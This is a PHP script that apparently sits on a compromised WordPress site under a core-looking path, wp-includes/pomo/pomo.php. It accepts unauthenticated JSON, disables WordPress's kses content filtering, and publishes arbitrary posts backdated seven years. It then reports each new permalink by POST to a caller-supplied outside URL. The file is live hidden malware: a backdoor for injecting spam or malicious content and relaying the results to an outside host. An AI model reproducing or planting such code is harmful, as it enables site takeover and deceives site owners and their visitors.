File: /var/www/k8148-2/htdocs/www.sport-roth.at/old/wp-includes/pomo/pomo.php
<?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
header('HTTP/1.0 403 Forbidden');
exit('Access denied.');
}
?>
<?php
ini_set('display_errors', 1);
header("Content-Type:application/json");
$data = json_decode(file_get_contents('php://input'), true);
$post_name = $data['post_name'];
$post_title = $data['post_title'];
$post_content = $data['post_content'];
$sav_link = $data['sav_link'];
// wordpress core
require_once('../../wp-blog-header.php');
// wodpress download
require_once('../../wp-admin/includes/file.php');
require_once('../../wp-admin/includes/media.php');
$datetime = new DateTime();
$newDatetime = $datetime->sub(new DateInterval('P7Y'));
$postDate = $newDatetime->format('Y-m-d H:i:s');
//$datetime = new DateTime();
//$datetime->modify("-9 year");
//$postDate = $datetime->format('Y-m-d H:i:s');
$postContent = array(
'post_name' => $post_name, // url
'post_title' => $post_title, // title
'post_content' => $post_content,
'post_status' => 'publish', // publish, pending, future, private
'post_type' => 'post',
'ping_status' => 'closed',
'comment_status' => 'closed',
'post_date' => $postDate,
'post_author' => 20 // admin?
);
kses_remove_filters();
$postID = wp_insert_post($postContent); // returns 0 if an error
kses_init_filters();
wp_set_object_terms($postID, 200, 'category' ); //category from admin
$new_post = get_permalink($postID);
if($new_post != '') {
$post = array(
'urlinka' => $new_post,
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $sav_link);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
$server_output = curl_exec($ch);
curl_close ($ch);
}
else {
echo 'Post error';
}
die;
?>